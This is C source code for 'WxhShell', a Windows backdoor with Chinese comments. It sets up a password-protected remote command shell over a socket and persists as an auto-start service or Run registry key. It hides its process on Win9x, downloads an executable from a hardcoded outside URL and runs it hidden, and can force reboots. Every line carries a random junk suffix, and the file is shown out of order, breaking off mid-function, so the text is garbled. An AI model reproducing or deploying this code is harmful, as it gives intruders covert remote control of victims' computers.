    if(Boot(SHUTDOWN)) qN1 -plY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c > mu)('U  
    else { frmqBCVJ:  
    closesocket(wsh); {8#N7(%z  
    ExitThread(0); `+hy#1]  
    } Md>f  
    break; `}9 1S  
    } ra%R:xX  
  // 获取shell Qw<kX*fxrI  
  case 's': { [pW1=tI  
    CmdShell(wsh); K\KO5A  
    closesocket(wsh); N=Uc=I7C  
    ExitThread(0); d@6:|auO  
    break; a(ux?V)E.  
  } %kZ~xbY  
  // 退出 l0caP(  
  case 'x': { Lk`k>Nn)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NT;x1  
    CloseIt(wsh); O~#uQm  
    break; >2lAy:B5  
    } ~w1{zxs  
  // 离开 fs rg2:kQ  
  case 'q': { +(<n |~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LZQFj/,Jg  
    closesocket(wsh); +f\pk \Ith  
    WSACleanup(); RUS7Z~5  
    exit(1); A&|Wvb=  
    break; K/wiL69  
        } X40la_[.  
  } hINnb7 o  
  } Q.9Ph ~  
jTd4H)  
  // 提示信息 S< EB&P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T6R7,Vt'v  
} EtR@sJ<  
  } })zB".  
K=m9H=IX~T  
  return; q!hy;K`Jd  
} ''(fH$pY  
v?YdLR  
// shell模块句柄 e7XsyL'|p  
int CmdShell(SOCKET sock) r*i$+ Z  
{ kMl@v`  
STARTUPINFO si; 6+Wr6'kuH  
ZeroMemory(&si,sizeof(si)); .*EOVo9S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R0Ax$Cv{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l:zU_J6  
PROCESS_INFORMATION ProcessInfo; .#=j <&  
char cmdline[]="cmd"; ;.nP%jD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (o x4K{  
  return 0; 2vqmsl ?  
} %A)-m 69  
oh7#cFZZ0  
// 自身启动模式 nr<WO~Xw~  
int StartFromService(void) hl6,#2$  
{ Y7*(_P3/  
typedef struct -5V)q.Og  
{ e;A^.\SP  
  DWORD ExitStatus; ;Cr_NP[8|j  
  DWORD PebBaseAddress; 'a;ini  
  DWORD AffinityMask; di3 B=A>3  
  DWORD BasePriority; ;[TljcbS  
  ULONG UniqueProcessId; 943I:, B  
  ULONG InheritedFromUniqueProcessId; L4YVH2`0)  
}   PROCESS_BASIC_INFORMATION; E8T"{ R80  
!j!Z%]7  
PROCNTQSIP NtQueryInformationProcess; e9~cBG|  
~K5Cr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =bs.2aN&^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {BFT  
Z?~gQ $  
  HANDLE             hProcess; `e'G.@  
  PROCESS_BASIC_INFORMATION pbi; .k# N7[q=  
S|K |rDr0n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >]Mq)V9  
  if(NULL == hInst ) return 0; >AR Tr'B  
-"~L2f"?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j~,h )C/ v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GB&Nt{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4R& *&GZ#  
l `fW{lh  
  if (!NtQueryInformationProcess) return 0; sg3h i"Im  
N<KKY"?I'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {PN:bb  
  if(!hProcess) return 0; \We"?1^  
98ca[.ui  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6#E]zmXO2  
K#GXpj  
  CloseHandle(hProcess); |7rR99  
P['X<Xt8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O24Jj\"  
if(hProcess==NULL) return 0; b7,  
(bg}an  
HMODULE hMod; i Td-n9  
char procName[255]; L7SEswMti  
unsigned long cbNeeded; jg~_'4f#  
{iA^rv|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yB-.sGu  
n=f`AmF;  
  CloseHandle(hProcess); iKg75%;t  
"#*Nnt  
if(strstr(procName,"services")) return 1; // 以服务启动 EKc C+g   
%  2I  
  return 0; // 注册表启动 Q/9a,85  
} ^g9}f  
/VRUz++K  
// 主模块 3H1Pp*PH  
int StartWxhshell(LPSTR lpCmdLine) .|T2\M  
{ ?ouV  
  SOCKET wsl; 'eqiYY|  
BOOL val=TRUE; i4hJE  
  int port=0; g93I+  
  struct sockaddr_in door; O[; +i  
pPoH5CzcK  
  if(wscfg.ws_autoins) Install(); ?K0U3V$s  
pp(H PKs=}  
port=atoi(lpCmdLine); Oz :D.V 3~  
<\h*Zy  
if(port<=0) port=wscfg.ws_port; 1+R:3(AC  
GA.BI"l  
  WSADATA data; SV&kWbS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !d\t:0;  
,,S9$@R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K6E}";;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !]yQ1@)*'  
  door.sin_family = AF_INET; rqF"QU=l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  G]b8]3^  
  door.sin_port = htons(port); mj)PLZ]  
L*P_vCC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }qG#N  
closesocket(wsl); ,aI,2U91  
return 1; d;{y`4p)s  
} (/'h4KS@  
KZ]r8  
  if(listen(wsl,2) == INVALID_SOCKET) { .%_)*NUZ  
closesocket(wsl); 4&|C}  
return 1; )B81i! q  
} d5Qd'  
  Wxhshell(wsl); `"B^{o  
  WSACleanup(); Y=9j2 ]t  
4KE)g  
return 0; UIn^_}jF`  
?gLAWz  
} =qw &dwIQ  
S9J5(lYv~N  
// 以NT服务方式启动 Y:wF5pp;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M2dmG<  
{ 3)y{n%3L  
DWORD   status = 0; Lj iI+NJ  
  DWORD   specificError = 0xfffffff; .?f:Nb.O  
Ee8--  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }S,-uggz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zHV|-R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L%f;J/  
  serviceStatus.dwWin32ExitCode     = 0; 57U%`  
  serviceStatus.dwServiceSpecificExitCode = 0; B3Mx,uXT\  
  serviceStatus.dwCheckPoint       = 0; f4 Q( 1(C  
  serviceStatus.dwWaitHint       = 0; [g+y_@9s  
va^0JfQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _e*c  
  if (hServiceStatusHandle==0) return; m`c#:s'_  
X($6IL6m  
status = GetLastError(); Ae6("Oid  
  if (status!=NO_ERROR) iOll WkF  
{ C%]."R cMC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _#FIay\ahB  
    serviceStatus.dwCheckPoint       = 0; c#  xO<  
    serviceStatus.dwWaitHint       = 0; %[XY67A3I  
    serviceStatus.dwWin32ExitCode     = status; ?I\v0H*  
    serviceStatus.dwServiceSpecificExitCode = specificError; t=i/xG:5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qC..\{z  
    return; 9\>sDSCx  
  } =5Wp&SM6  
|YRY!V_w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2A>C+Y[7\  
  serviceStatus.dwCheckPoint       = 0; y^G>{?Tha  
  serviceStatus.dwWaitHint       = 0; o!utZmk$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6|^0_6_  
} *0~M  
n$YE !D'  
// 处理NT服务事件,比如:启动、停止 2m\m/O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F@1d%c  
{ "<x&pQZ%  
switch(fdwControl) ~0ooRUWU7  
{ k}zd' /b  
case SERVICE_CONTROL_STOP: jN6b*-2  
  serviceStatus.dwWin32ExitCode = 0; y AOg\+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H} 6CKP}  
  serviceStatus.dwCheckPoint   = 0; {`F1u?l  
  serviceStatus.dwWaitHint     = 0; waCboK'  
  { 5%P[^}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f^?uY8<  
  } ;E#\   
  return; (z2Z)_6L*L  
case SERVICE_CONTROL_PAUSE: d=y0yq{L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +zsZNJ(U  
  break; w" JGO  
case SERVICE_CONTROL_CONTINUE: zKxvN3!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; { 5-zyE  
  break; [O_^MA,z  
case SERVICE_CONTROL_INTERROGATE: UiIF6-ZZ!  
  break; AW/wI6[T  
}; /$:U$JVb?l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z]$>+MH_  
} ?'w sIH]m  
Vho0e V=  
// 标准应用程序主函数 30_ckMG"g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %2D17*eK  
{ Mlj#b8  
?/'}JS(Sm  
// 获取操作系统版本 <0 uOq  
OsIsNt=GetOsVer(); Qn.[{rw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P"F{=\V1`<  
jV^C19  
  // 从命令行安装 {6O0.}q]&  
  if(strpbrk(lpCmdLine,"iI")) Install(); A,BEKjR~J  
-72j:nk  
  // 下载执行文件 Yj|]Uff8O  
if(wscfg.ws_downexe) { x2k*| =$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BS7J#8cu  
  WinExec(wscfg.ws_filenam,SW_HIDE); <uD qYT$6  
} bxwkTKr'  
 s4$X  
if(!OsIsNt) { /.$L"u  
// 如果时win9x,隐藏进程并且设置为注册表启动 (ua q<Cvg  
HideProc(); rl?7W];  
StartWxhshell(lpCmdLine); s<&[\U  
} TsHF tj9S  
else EgNH8i  
  if(StartFromService()) `c(\i$1JY)  
  // 以服务方式启动 >vujZw_0>  
  StartServiceCtrlDispatcher(DispatchTable); S;=_;&68?  
else n3ZAF'  
  // 普通方式启动 cJ/]+|PQ  
  StartWxhshell(lpCmdLine); //.>>-~1m  
U -EhPAB@  
return 0; "K?Q  
} 0pN{y}x,  
3taa^e.  
3SNL5  
a2yE:16o6  
=========================================== eN/G i<  
OVR?*"N_  
mW4%2fD[  
m<:IFx#  
_ 08];M|  
2a `J%A  
" l>&sIX  
.Xd0 Q=1h  
#include <stdio.h> 8!zb F<W9  
#include <string.h> IgM v =^U  
#include <windows.h> yC !/PQ"  
#include <winsock2.h> -$YJfQE6G  
#include <winsvc.h> XmWlv{T+  
#include <urlmon.h> S|K}k:v8  
A#DR9Eq  
#pragma comment (lib, "Ws2_32.lib") %0XvJF)s  
#pragma comment (lib, "urlmon.lib") S LGW:  
?`AGF%zp  
#define MAX_USER   100 // 最大客户端连接数 ."mlSW"Wm  
#define BUF_SOCK   200 // sock buffer ai;\@$ cq  
#define KEY_BUFF   255 // 输入 buffer 6>DLp}d  
Qhy#r  
#define REBOOT     0   // 重启 rLF*DB3l  
#define SHUTDOWN   1   // 关机 #?&0D>E?k  
HY)ESU !  
#define DEF_PORT   5000 // 监听端口 mqFq_UX/ T  
;&f1vi4  
#define REG_LEN     16   // 注册表键长度 ^o d<JD4  
#define SVC_LEN     80   // NT服务名长度 !/hsJ9  
2P9J' L  
// 从dll定义API 8S  U%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KcXpH]>!9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FifbxL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5~r2sCDPk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >I<PO.c!  
G7-!`-Nk  
// wxhshell配置信息 'MQ%)hipA  
struct WSCFG { -9o{vmB{  
  int ws_port;         // 监听端口 G!Zyl^  
  char ws_passstr[REG_LEN]; // 口令 v0@)t&O  
  int ws_autoins;       // 安装标记, 1=yes 0=no w sY}JT  
  char ws_regname[REG_LEN]; // 注册表键名 [uR/M  
  char ws_svcname[REG_LEN]; // 服务名 *YvRNHP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pn\V+Rg'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1`-r#-MGG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u^4h&fL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lTz6"/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vV^dm)?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Dp!zk}f|  
{gU&%j  
}; ;dQAV\  
#H5=a6E+q  
// default Wxhshell configuration -]XP2}#d  
struct WSCFG wscfg={DEF_PORT, )`?%]D  
    "xuhuanlingzhe", V3.t;.@  
    1, zxKCVRJ  
    "Wxhshell", %}b8aG+  
    "Wxhshell", LM.`cb;?G  
            "WxhShell Service", Zdn!qyR`  
    "Wrsky Windows CmdShell Service", h-mTj3p-K  
    "Please Input Your Password: ", 8MZ$T3IM  
  1, (lWq[0^N  
  "http://www.wrsky.com/wxhshell.exe", PW)aLycPK  
  "Wxhshell.exe" =~|:t&v=c  
    }; {THqz$KN  
|y1;&<  
// 消息定义模块 GAl+Zg##  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |4C^$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .\)A@ua^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U5+vN[ K  
char *msg_ws_ext="\n\rExit."; 9UD @MA  
char *msg_ws_end="\n\rQuit."; Q`6i=mB;  
char *msg_ws_boot="\n\rReboot..."; P(ZQDTbM :  
char *msg_ws_poff="\n\rShutdown..."; (|u31[  
char *msg_ws_down="\n\rSave to "; .  /m hu  
(3%t+aqq  
char *msg_ws_err="\n\rErr!"; 5 Op_*N{V  
char *msg_ws_ok="\n\rOK!"; 3!#/k+,C  
3-x%wD.  
char ExeFile[MAX_PATH]; rVzI_zYqp'  
int nUser = 0; o4Q3<T7nI  
HANDLE handles[MAX_USER]; 3,6Ox45  
int OsIsNt; 9l !S9d  
C}"@RHEu  
SERVICE_STATUS       serviceStatus; ?<~WO?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  MCnN^  
p^X^1X7  
// 函数声明 =NDOS{($  
int Install(void); pP.'wSj  
int Uninstall(void); DW2>&|  
int DownloadFile(char *sURL, SOCKET wsh); Mv|!2 [:  
int Boot(int flag); eOY^$#Y  
void HideProc(void); fx?$9(r,  
int GetOsVer(void); (bm;*2  
int Wxhshell(SOCKET wsl); )[&zCq Dc  
void TalkWithClient(void *cs); RKuqx:U  
int CmdShell(SOCKET sock); ]gP5f@`  
int StartFromService(void); >.DC!QV  
int StartWxhshell(LPSTR lpCmdLine); |wp ,f%WK  
e!X(yJI[O6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *g$i5!yM'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :uK btoA  
-%m3-xZA  
// 数据结构和表定义 5PiOH"!19  
SERVICE_TABLE_ENTRY DispatchTable[] = W{Z^n(f4  
{ ;l!`C':'  
{wscfg.ws_svcname, NTServiceMain}, jP=Hf=:$  
{NULL, NULL} qd6fU^)i  
}; JYmAn?o-  
qX6D1X1_  
// 自我安装 I%;Jpe  
int Install(void) \l,rpVv5m  
{ *'8LntZf  
  char svExeFile[MAX_PATH]; <nzN$"%  
  HKEY key; Oh; Jw  
  strcpy(svExeFile,ExeFile); <kc# thL  
=G${[V \  
// 如果是win9x系统,修改注册表设为自启动 .SS<MDcqIt  
if(!OsIsNt) { \b8\Ug~t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  .i/m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ht6244:  
  RegCloseKey(key); vg\/DbI'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `_qK&&s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ai-n z-;  
  RegCloseKey(key); |jG~,{  
  return 0; ..qd,9H  
    } r>n" 51*  
  } a.kbov(  
} &ab|2*3?X  
else { K+d2m9C=  
jRj=Awy  
// 如果是NT以上系统,安装为系统服务 X6@wkrf-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JUt7En;XE  
if (schSCManager!=0) M+Uyb7  
{ %1}6q`:w  
  SC_HANDLE schService = CreateService "(TkJbwC[  
  ( aMwB>bt  
  schSCManager, i[nF.I5*f  
  wscfg.ws_svcname, X0$@Ik  
  wscfg.ws_svcdisp, MXZ>"G  
  SERVICE_ALL_ACCESS, uA~slS Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B3 zk(RNZ  
  SERVICE_AUTO_START, :1aL ?  
  SERVICE_ERROR_NORMAL, r`M6!}oa  
  svExeFile, @WOM#Kc  
  NULL, vq'k|_Qi=  
  NULL, ?Rr2/W#F  
  NULL, Fx#jV\''s  
  NULL, p*qPcuAA  
  NULL SW 8x]B  
  ); \8v91g91f  
  if (schService!=0) h*l&RR:i  
  { W!la-n  
  CloseServiceHandle(schService); 1mgLX_U9  
  CloseServiceHandle(schSCManager); hYg'2OG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GDhM<bVqM*  
  strcat(svExeFile,wscfg.ws_svcname); U@-2Q=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M\2"gT-LV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WxUxc75  
  RegCloseKey(key); bbN%$/d  
  return 0; 77,oPLSn  
    } FxW&8 9G  
  } B$a-og(  
  CloseServiceHandle(schSCManager); wWjG JvJ  
} m7jA ,~O  
} oy\B;aAK  
H3KTir"on  
return 1; vmZ"o9-{#X  
} l54 m22pfv  
c$H+g,7xQ-  
// 自我卸载 p]gT&[iJ  
int Uninstall(void) :E_a 0!'  
{ j,-C{ K  
  HKEY key; /iQ(3F  
SaDA`JmO  
if(!OsIsNt) { 3YL l;TP_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T0QvnIaP  
  RegDeleteValue(key,wscfg.ws_regname); PlxIf  L  
  RegCloseKey(key); "&o,yd%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?ny =  
  RegDeleteValue(key,wscfg.ws_regname); K~6e5D7.  
  RegCloseKey(key); xBM>u,0.F  
  return 0; `'4)q}bB  
  } = [@)R!3H  
} :nJgwp()@  
} KtN&,C )lJ  
else { w=_Jc8/.  
4 J^Q]-Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i!H!;z#  
if (schSCManager!=0) I -@?guZ r  
{ Va<eusl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <iLM{@lZvJ  
  if (schService!=0) WNX5iwm  
  { 2HL9E|h  
  if(DeleteService(schService)!=0) { Ib`-pRU;  
  CloseServiceHandle(schService); 1TN}GsAj  
  CloseServiceHandle(schSCManager); a \5FAkI  
  return 0; {E_{JB~`  
  } 2KJ1V+g@a6  
  CloseServiceHandle(schService); `N8 7 h"  
  } blt'={Z?.x  
  CloseServiceHandle(schSCManager); 8*a), 3aK  
} pbk$o{$`W  
} l]Lx L  
4ne5=YY *  
return 1; 9<1F[SS<s9  
} TJ_=1Y@z  
X` r* ob  
// 从指定url下载文件 :}}%#/nd  
int DownloadFile(char *sURL, SOCKET wsh) "M H6fF  
{ Qyh/ed/  
  HRESULT hr; yW7'?  
char seps[]= "/"; l|`^*%W@u6  
char *token; Snw3`|Y~<  
char *file; PGn);Baq  
char myURL[MAX_PATH]; lU4}B`#"v  
char myFILE[MAX_PATH]; PS>x,T  
[AzO:A  
strcpy(myURL,sURL); Ud%s^A-qS  
  token=strtok(myURL,seps); =\kMXB  
  while(token!=NULL) {3\R|tZh,`  
  { wxQ>ifi9Z  
    file=token; /BA{O&Ro^  
  token=strtok(NULL,seps); al^!,ykc  
  } x_w~G]! /  
0BU=)Swku  
GetCurrentDirectory(MAX_PATH,myFILE); ja=w 5  
strcat(myFILE, "\\"); :z"!kzdJ  
strcat(myFILE, file); #?O &  
  send(wsh,myFILE,strlen(myFILE),0); L EWhb!U  
send(wsh,"...",3,0); `#s#it'y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~W#sTrK  
  if(hr==S_OK) Gwec 4D  
return 0; @_ygnNn4R  
else udk.zk  
return 1; :<S<f%  
tNaL;0#Tx  
} G-um`/<%  
v syWm.E  
// 系统电源模块 |F$BvCg  
int Boot(int flag) ,_v|#g@{  
{ n.6T OF  
  HANDLE hToken; iAn'aW\TF  
  TOKEN_PRIVILEGES tkp; Gpj* V|J  
pHE}ytcT  
  if(OsIsNt) { Yc Q=vt{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K`%tGVY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j6:7AH|!)2  
    tkp.PrivilegeCount = 1; K >tf,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zd %rs~*c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P.\nLE J=  
if(flag==REBOOT) { A$/\1282  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :%r S =f  
  return 0; rfcN/:k  
} R=)55qu  
else { /%rq hHs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \1%l^dE@  
  return 0; vv0Q$ O->  
} ,I.WX,OR  
  } ?,knit2x  
  else { e)^j+ l  
if(flag==REBOOT) { }%!tT\8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^V*-1r1  
  return 0; 0?Q_@Y  
} 0S/' 94%w  
else { fRZ KEIyk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^-)txC5{T  
  return 0; GRqT-/n"  
} 77 r(*.O|  
} vG.9 H_&  
N#xG3zZl|N  
return 1; ^_+XDO  
} B}?IEpYp  
;\;M =&{}  
// win9x进程隐藏模块 -1|iz2^N  
void HideProc(void) dE`-\J  
{ d=*x#In  
U Z_'><++  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R*pC.QiB~  
  if ( hKernel != NULL ) QfjN"25_  
  { *Ust[u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KP"%Rm`XN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `_X;.U.Mv  
    FreeLibrary(hKernel); 1=}qBR#scY  
  } '\q f^?9  
Y'VBz{brf  
return; njPPztv/@  
} hcCp,b  
6i@\5}m=  
// 获取操作系统版本 Vy<HA*  
int GetOsVer(void) xG2F!WeF  
{ '_P\#7$!MV  
  OSVERSIONINFO winfo; ,zTb<g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XL}"1lE  
  GetVersionEx(&winfo); v 4/-b4ET  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]bdFr/!'S+  
  return 1; "`Ge~N[$A  
  else /'.=sH  
  return 0;  :nY 2O  
} XMN:]!1J  
7Cqcb>\X  
// 客户端句柄模块 0u B'g+MU`  
int Wxhshell(SOCKET wsl) E6B!+s!]  
{ *LC+ PZV@  
  SOCKET wsh; P$GjF-!:  
  struct sockaddr_in client; TtD@'QXq  
  DWORD myID; 0IkM  
RJeDEYXeg  
  while(nUser<MAX_USER) Z"-L[2E/{!  
{ ~V=<3X  
  int nSize=sizeof(client); una%[jTc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nKr9#JebRC  
  if(wsh==INVALID_SOCKET) return 1; Fm_y&7._  
FCj{AD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &;TJ~r#K  
if(handles[nUser]==0)  u6u=2  
  closesocket(wsh); w~R`D  
else 07g':QU@  
  nUser++; sZgRt  
  } "Ml&[O ge  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ykg#{9+  
Sw&!y$ed  
  return 0; 0JuD ^  
} TJ8E"t*)  
+k<w!B*  
// 关闭 socket x`RTp:#  
void CloseIt(SOCKET wsh) >O9o,o/6R  
{ d5 Edu44  
closesocket(wsh); lK'Rn~  
nUser--; h0vob_Fdl  
ExitThread(0); [P4$Khu$  
} BI?@1q}:  
zh I#f0c  
// 客户端请求句柄 6M.;@t,Y  
void TalkWithClient(void *cs) YV4#%I!<  
{ (6p]ZY  
#zUXyT#X  
  SOCKET wsh=(SOCKET)cs; "[p@tc?5  
  char pwd[SVC_LEN]; rZPT89M6  
  char cmd[KEY_BUFF]; N/QiI.V6  
char chr[1]; LK9g0_  
int i,j; $4FX(O0Q@  
8e~|.wOL  
  while (nUser < MAX_USER) { g?v\!/~(u  
V! |qYM.  
if(wscfg.ws_passstr) { W=B"Q qL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AwUi+|7r])  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $*a'84-5G-  
  //ZeroMemory(pwd,KEY_BUFF); "<+ih0Ma  
      i=0; T=a=B(  
  while(i<SVC_LEN) { d@0Kr5_  
b IW'c_ ,  
  // 设置超时 ~rr 4ok  
  fd_set FdRead; hG~reVNf  
  struct timeval TimeOut; @Y,7'0U  
  FD_ZERO(&FdRead); hJz):d>Im  
  FD_SET(wsh,&FdRead); dx*qb  
  TimeOut.tv_sec=8; 8N%Bn&   
  TimeOut.tv_usec=0; [L $9p@I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h4pTq[4*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'V+dBt3  
KfCoe[Vv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5BkV aF7Th  
  pwd=chr[0]; *1Z5+uVT[  
  if(chr[0]==0xd || chr[0]==0xa) { y7i%W4  
  pwd=0; e,_-Je  
  break; ZPN roCK`  
  } i|)Su4Dw  
  i++; 6&Juv  
    } 5m:i6,4  
RyB~Lm`ZK%  
  // 如果是非法用户,关闭 socket X;F?:Iw\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8;Fn7k_Uf  
} e}VBRvr  
u,3,ck!B>@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s#Jh -+lM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CRve.e8J  
4n1; Bh$  
while(1) { %ows BO+  
9~rUkHD  
  ZeroMemory(cmd,KEY_BUFF); Z|9u]xL  
'\fY<Q:!  
      // 自动支持客户端 telnet标准   %n%xR%|  
  j=0; PfS:AI y  
  while(j<KEY_BUFF) { 2jsw"aHW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {j{+0V  
  cmd[j]=chr[0]; Rd7_~.Bo  
  if(chr[0]==0xa || chr[0]==0xd) { d%I" /8-J  
  cmd[j]=0; C9DJO:f.2y  
  break; H2xeP%;$  
  } o`zr>  
  j++; :!;'J/B@..  
    } I|-p3g8\  
?;YC'bF  
  // 下载文件 @pI5lh  
  if(strstr(cmd,"http://")) { f=!PllxL:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CxhY$%C (L  
  if(DownloadFile(cmd,wsh)) d8SE,A&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\>a,oZH  
  else %B 5r"=oO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'evj,zFhW  
  } -"Y{$/B  
  else { CSbI85F  
.I VlEG0  
    switch(cmd[0]) { 3bqC\i^[\m  
  m+{K^kr[  
  // 帮助 =@u 5|:  
